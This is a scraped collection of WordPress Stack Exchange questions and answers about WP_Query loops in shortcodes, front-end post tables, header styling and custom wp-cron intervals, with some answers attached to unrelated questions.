I want to create a table show all post, I use WP\_query to get all iformatio and create table template to list my post. But my problem is only one post inside the table.. I want to include all in table. ``` $wpb_all_query = new WP_Query(array('post_type'=>'vendor_management', 'post_status'=>'new', 'posts_per_page'=>-1)); ?> <?php if ( $wpb_all_query->have_posts() ) : ?> <table class="responstable"> <thead> <tr> <th></th> <th>Vendor Name</th> </tr> </thead> <tbody> <tr> <?php while ( $wpb_all_query->have_posts() ) : $wpb_all_query->the_post(); ?> <td><input type="checkbox"/></td> <td><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></td> </tr> </tbody> </table> <?php endwhile; ?> <!-- end of the loop --> <?php wp_reset_postdata(); ?> <?php else : ?> <p><?php _e( 'Sorry, no posts matched your criteria.' ); ?></p> <?php endif; ?> ``` Basically, I want to create like admin table in backend which is showing all post include edit, delete, bulk delete into front end, Can any body tell me to do it. I have try to use WP\_List\_Table but not working if in frond end.
The rule of thumb is that the more complex your theme is, the harder it will be to replace it with another. Themes should be only about styling your content, nothing more, and everything relating to content itself should be handled in plugins. Unfortunately, most people think that all themes should come with everything and a kitchen sink, and therefor most themes are not doing styling only, and therefor are hard(er) to replace. Regarding your current situation, it is hard to say anything concrete without actually understanding the nature of your problems, but yes if you have used in your content a theme specific shortcodes or other kinds of styling, you will need to adjust your content to play nice with a new theme.
286,411
<pre><code>function blog_post_home_shortcode() { $query = new WP_Query( array( 'post_type' =&gt; 'post', 'order' =&gt; 'DESC', 'post_status' =&gt; ' publish', 'posts_per_page' =&gt; 3 )); while ($query-&gt;have_posts()): $query-&gt;the_post(); $blog = get_the_title(); return $blog; endwhile; wp_reset_postdata(); } add_shortcode('blogs_home', 'blog_post_home_shortcode'); </code></pre> <p>returns only one title while in WP_Query I have set <code>posts_per_page =&gt; 3</code> I want to display all 3 title of last published posts.</p>
[ { "answer_id": 286413, "author": "Pratik bhatt", "author_id": 60922, "author_profile": "https://wordpress.stackexchange.com/users/60922", "pm_score": -1, "selected": true, "text": "<p>You may please update your code as follows </p>\n\n<pre><code> function blog_post_home_shortcode() {\n $query = new WP_Query( array(\n 'post_type' =&gt; 'post',\n 'order' =&gt; 'DESC',\n 'post_status' =&gt; ' publish',\n 'posts_per_page' =&gt; 3\n ));\n\n while ($query-&gt;have_posts()): $query-&gt;the_post();\n $blog = get_the_title();\n echo $blog;\n endwhile;\n wp_reset_postdata();\n}\nadd_shortcode('blogs_home', 'blog_post_home_shortcode');\n</code></pre>\n\n<p>Please check the above code and let me know if it works for you.</p>\n" }, { "answer_id": 286415, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 2, "selected": false, "text": "<p>Shortcodes need to <code>return</code> their output, otherwise the output will appear whenever the content that contains it is processed, rather than where inside the content the shortcode actually appears.</p>\n\n<p>The simplest way to achieve this is to use <a href=\"http://php.net/manual/en/book.outcontrol.php\" rel=\"nofollow noreferrer\">output buffering</a> to capture the output with <code>ob_start()</code> and then return what it captured with <code>ob_get_clean()</code>:</p>\n\n<pre><code>function blog_post_home_shortcode() {\n ob_start();\n\n $query = new WP_Query( array(\n 'post_type' =&gt; 'post',\n 'order' =&gt; 'DESC',\n 'post_status' =&gt; ' publish',\n 'posts_per_page' =&gt; 3\n ) );\n\n while ($query-&gt;have_posts()): $query-&gt;the_post();\n the_title();\n endwhile;\n\n wp_reset_postdata();\n\n return ob_get_clean();\n}\nadd_shortcode( 'blogs_home', 'blog_post_home_shortcode' );\n</code></pre>\n\n<p>See <a href=\"https://codex.wordpress.org/Shortcode_API\" rel=\"nofollow noreferrer\">the documentation</a> for more (emphasis mine):</p>\n\n<blockquote>\n <p>The return value of a shortcode handler function is inserted into the\n post content output in place of the shortcode macro. <strong>Remember to use\n return and not echo</strong> - anything that is echoed will be output to the\n browser, but it won't appear in the correct place on the page.</p>\n</blockquote>\n" } ]
2017/11/20
[ "https://wordpress.stackexchange.com/questions/286411", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128369/" ]
``` function blog_post_home_shortcode() { $query = new WP_Query( array( 'post_type' => 'post', 'order' => 'DESC', 'post_status' => ' publish', 'posts_per_page' => 3 )); while ($query->have_posts()): $query->the_post(); $blog = get_the_title(); return $blog; endwhile; wp_reset_postdata(); } add_shortcode('blogs_home', 'blog_post_home_shortcode'); ``` returns only one title while in WP\_Query I have set `posts_per_page => 3` I want to display all 3 title of last published posts.
You may please update your code as follows ``` function blog_post_home_shortcode() { $query = new WP_Query( array( 'post_type' => 'post', 'order' => 'DESC', 'post_status' => ' publish', 'posts_per_page' => 3 )); while ($query->have_posts()): $query->the_post(); $blog = get_the_title(); echo $blog; endwhile; wp_reset_postdata(); } add_shortcode('blogs_home', 'blog_post_home_shortcode'); ``` Please check the above code and let me know if it works for you.
286,416
<p>Please refer to website: <a href="https://virginiafrank.com" rel="nofollow noreferrer">https://virginiafrank.com</a> I cannot get the top header background color (or phone numbers) to change color. I would prefer the background gold and text black. I can't make that work either. Please someone help me. </p>
[ { "answer_id": 286413, "author": "Pratik bhatt", "author_id": 60922, "author_profile": "https://wordpress.stackexchange.com/users/60922", "pm_score": -1, "selected": true, "text": "<p>You may please update your code as follows </p>\n\n<pre><code> function blog_post_home_shortcode() {\n $query = new WP_Query( array(\n 'post_type' =&gt; 'post',\n 'order' =&gt; 'DESC',\n 'post_status' =&gt; ' publish',\n 'posts_per_page' =&gt; 3\n ));\n\n while ($query-&gt;have_posts()): $query-&gt;the_post();\n $blog = get_the_title();\n echo $blog;\n endwhile;\n wp_reset_postdata();\n}\nadd_shortcode('blogs_home', 'blog_post_home_shortcode');\n</code></pre>\n\n<p>Please check the above code and let me know if it works for you.</p>\n" }, { "answer_id": 286415, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 2, "selected": false, "text": "<p>Shortcodes need to <code>return</code> their output, otherwise the output will appear whenever the content that contains it is processed, rather than where inside the content the shortcode actually appears.</p>\n\n<p>The simplest way to achieve this is to use <a href=\"http://php.net/manual/en/book.outcontrol.php\" rel=\"nofollow noreferrer\">output buffering</a> to capture the output with <code>ob_start()</code> and then return what it captured with <code>ob_get_clean()</code>:</p>\n\n<pre><code>function blog_post_home_shortcode() {\n ob_start();\n\n $query = new WP_Query( array(\n 'post_type' =&gt; 'post',\n 'order' =&gt; 'DESC',\n 'post_status' =&gt; ' publish',\n 'posts_per_page' =&gt; 3\n ) );\n\n while ($query-&gt;have_posts()): $query-&gt;the_post();\n the_title();\n endwhile;\n\n wp_reset_postdata();\n\n return ob_get_clean();\n}\nadd_shortcode( 'blogs_home', 'blog_post_home_shortcode' );\n</code></pre>\n\n<p>See <a href=\"https://codex.wordpress.org/Shortcode_API\" rel=\"nofollow noreferrer\">the documentation</a> for more (emphasis mine):</p>\n\n<blockquote>\n <p>The return value of a shortcode handler function is inserted into the\n post content output in place of the shortcode macro. <strong>Remember to use\n return and not echo</strong> - anything that is echoed will be output to the\n browser, but it won't appear in the correct place on the page.</p>\n</blockquote>\n" } ]
2017/11/20
[ "https://wordpress.stackexchange.com/questions/286416", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131784/" ]
Please refer to website: <https://virginiafrank.com> I cannot get the top header background color (or phone numbers) to change color. I would prefer the background gold and text black. I can't make that work either. Please someone help me.
You may please update your code as follows ``` function blog_post_home_shortcode() { $query = new WP_Query( array( 'post_type' => 'post', 'order' => 'DESC', 'post_status' => ' publish', 'posts_per_page' => 3 )); while ($query->have_posts()): $query->the_post(); $blog = get_the_title(); echo $blog; endwhile; wp_reset_postdata(); } add_shortcode('blogs_home', 'blog_post_home_shortcode'); ``` Please check the above code and let me know if it works for you.
286,419
<p>I created a wp cron event with a custom interval of 5 minutes, but it is only executed hourly instead of every 5 minutes. (The callback is properly executed.)</p> <p><a href="https://i.stack.imgur.com/hDeUJ.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/hDeUJ.jpg" alt="screenshot from wp crontrol plugin"></a></p> <p>The DISABLE_WP_CRON constant is set to true, wp-cron.php is called via crontab every 5 minutes. (<a href="https://developer.wordpress.org/plugins/cron/hooking-into-the-system-task-scheduler/" rel="nofollow noreferrer">https://developer.wordpress.org/plugins/cron/hooking-into-the-system-task-scheduler/</a>)</p> <p>No errors in debug.log (WP_DEBUG set to true).</p> <p>I created my plugin with the wordpress plugin boilderplate generator (<a href="https://wppb.me/" rel="nofollow noreferrer">https://wppb.me/</a>).</p> <p>My code (in class Wp_Goldprice_Activator, function activate()):</p> <pre><code> function fetch_metal_prices_recurrence( $schedules ) { $schedules['every_five_minutes'] = array( 'display' =&gt; 'every 5 minutes', 'interval' =&gt; 300 ); return $schedules; } add_filter( 'cron_schedules', 'fetch_metal_prices_recurrence' ); // Schedule custom-interval Cron Job Event if ( ! wp_next_scheduled ( GPR_PLUGIN_NAME . '_fetch_metal_prices' )) { wp_schedule_event( current_time( 'timestamp' ), 'every_five_minutes', GPR_PLUGIN_NAME . '_fetch_metal_prices' ); } // Schedule hourly Cron Job Event if ( ! wp_next_scheduled ( GPR_PLUGIN_NAME . '_fetch_metal_prices_reschedule' )) { wp_schedule_event( current_time( 'timestamp' ), 'hourly', GPR_PLUGIN_NAME . '_fetch_metal_prices_reschedule' ); } } </code></pre> <p>I am rescheduling the 5 minute event every hour, because it disappears after first automatic execution (not on manual execution, though!). The hourly event doesn't disappear (on automatic execution). I couldn't find a reason or solution for that, either. This might be involved in the problem, but still, wp_next_scheduled() immediately returns a time which is 1 hour in the future, not 5.</p> <p>I am aware, this question has been asked before, but no working solution has been proposed (and posted years ago):</p> <ul> <li><a href="https://wordpress.stackexchange.com/questions/38979/wp-schedule-event-cron-schedules-custom-recurrence-time-not-working-in-plugi">wp_schedule_event / cron_schedules - custom recurrence time not working in Plugin</a></li> <li><a href="https://wordpress.stackexchange.com/questions/141101/custom-interval-is-not-working">Custom interval is not working</a></li> <li><a href="https://wordpress.stackexchange.com/questions/141328/custom-cron-interval-is-not-working">custom cron interval is not working</a></li> </ul> <p>Any thoughts on that would be greatly appreciated, I am out of ideas.</p>
[ { "answer_id": 305977, "author": "Shwky Fareed", "author_id": 143913, "author_profile": "https://wordpress.stackexchange.com/users/143913", "pm_score": -1, "selected": false, "text": "<p>I know that this answer may not help you now because it's too late :)\nBut here's a full example for a cronjob work in a plugin for the upcoming developers who will meet the same issue ;</p>\n\n<pre><code>////////////////////////////////////////////\n/* CRON Work STARTS HERE */\n/////////////////////////////////////////////\nfunction sh_booking_cronstarter_activation() {\n if( !wp_next_scheduled( 'sh_booking_cronjob_hourly' ) ) { \n wp_schedule_event( time(), 'hourly', 'sh_booking_cronjob_hourly' ,array()); \n }\n if( !wp_next_scheduled( 'sh_booking_cronjob_daily' ) ) { \n wp_schedule_event( time(), 'twicedaily', 'sh_booking_cronjob_daily' ,array()); \n }\n}\nregister_activation_hook (__FILE__, 'sh_booking_cronstarter_activation');\n\nfunction sh_booking_cronstarter_deactivate() { \n $timestamp = wp_next_scheduled ('sh_booking_cronjob_hourly');\n wp_unschedule_event ($timestamp, 'sh_booking_cronjob_hourly',array());\n\n $timestampp = wp_next_scheduled ('sh_booking_cronjob_daily');\n wp_unschedule_event ($timestampp, 'sh_booking_cronjob_daily',array());\n} \nregister_deactivation_hook (__FILE__, 'sh_booking_cronstarter_deactivate');\n\nadd_action ('sh_booking_cronjob_hourly', 'cron_sh_booking_cronjob_hourly_6cc9234b',10,0); \nadd_action ('sh_booking_cronjob_daily', 'cron_sh_booking_cronjob_daily_6cc9234b',10,0); \n\nfunction cron_sh_booking_cronjob_hourly_6cc9234b(){\n /* your logic goes here ;) */\n}\nfunction cron_sh_booking_cronjob_daily_6cc9234b(){\n /* your logic goes here ;) */\n}\n</code></pre>\n\n<p>Hop that helps ;)</p>\n" }, { "answer_id": 385196, "author": "malabarista", "author_id": 203454, "author_profile": "https://wordpress.stackexchange.com/users/203454", "pm_score": 1, "selected": false, "text": "<p>Maybe someone will make use of it, I had a similar problem and the solution was to call <code>time()</code> instead of <code>current_time( 'timestamp' )</code> as the first argument of <code>wp_schedule_event()</code>.</p>\n<p>So it should look like this: <code>wp_schedule_event( time(), 'custom_interval', 'custom_hook' );</code></p>\n<p>I tried to find a difference between time and current_time('timestamp'), but they appear to return the same output, int unix time.</p>\n" } ]
2017/11/20
[ "https://wordpress.stackexchange.com/questions/286419", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/124308/" ]
I created a wp cron event with a custom interval of 5 minutes, but it is only executed hourly instead of every 5 minutes. (The callback is properly executed.) [![screenshot from wp crontrol plugin](https://i.stack.imgur.com/hDeUJ.jpg)](https://i.stack.imgur.com/hDeUJ.jpg) The DISABLE\_WP\_CRON constant is set to true, wp-cron.php is called via crontab every 5 minutes. (<https://developer.wordpress.org/plugins/cron/hooking-into-the-system-task-scheduler/>) No errors in debug.log (WP\_DEBUG set to true). I created my plugin with the wordpress plugin boilderplate generator (<https://wppb.me/>). My code (in class Wp\_Goldprice\_Activator, function activate()): ``` function fetch_metal_prices_recurrence( $schedules ) { $schedules['every_five_minutes'] = array( 'display' => 'every 5 minutes', 'interval' => 300 ); return $schedules; } add_filter( 'cron_schedules', 'fetch_metal_prices_recurrence' ); // Schedule custom-interval Cron Job Event if ( ! wp_next_scheduled ( GPR_PLUGIN_NAME . '_fetch_metal_prices' )) { wp_schedule_event( current_time( 'timestamp' ), 'every_five_minutes', GPR_PLUGIN_NAME . '_fetch_metal_prices' ); } // Schedule hourly Cron Job Event if ( ! wp_next_scheduled ( GPR_PLUGIN_NAME . '_fetch_metal_prices_reschedule' )) { wp_schedule_event( current_time( 'timestamp' ), 'hourly', GPR_PLUGIN_NAME . '_fetch_metal_prices_reschedule' ); } } ``` I am rescheduling the 5 minute event every hour, because it disappears after first automatic execution (not on manual execution, though!). The hourly event doesn't disappear (on automatic execution). I couldn't find a reason or solution for that, either. This might be involved in the problem, but still, wp\_next\_scheduled() immediately returns a time which is 1 hour in the future, not 5. I am aware, this question has been asked before, but no working solution has been proposed (and posted years ago): * [wp\_schedule\_event / cron\_schedules - custom recurrence time not working in Plugin](https://wordpress.stackexchange.com/questions/38979/wp-schedule-event-cron-schedules-custom-recurrence-time-not-working-in-plugi) * [Custom interval is not working](https://wordpress.stackexchange.com/questions/141101/custom-interval-is-not-working) * [custom cron interval is not working](https://wordpress.stackexchange.com/questions/141328/custom-cron-interval-is-not-working) Any thoughts on that would be greatly appreciated, I am out of ideas.
Maybe someone will make use of it, I had a similar problem and the solution was to call `time()` instead of `current_time( 'timestamp' )` as the first argument of `wp_schedule_event()`. So it should look like this: `wp_schedule_event( time(), 'custom_interval', 'custom_hook' );` I tried to find a difference between time and current\_time('timestamp'), but they appear to return the same output, int unix time.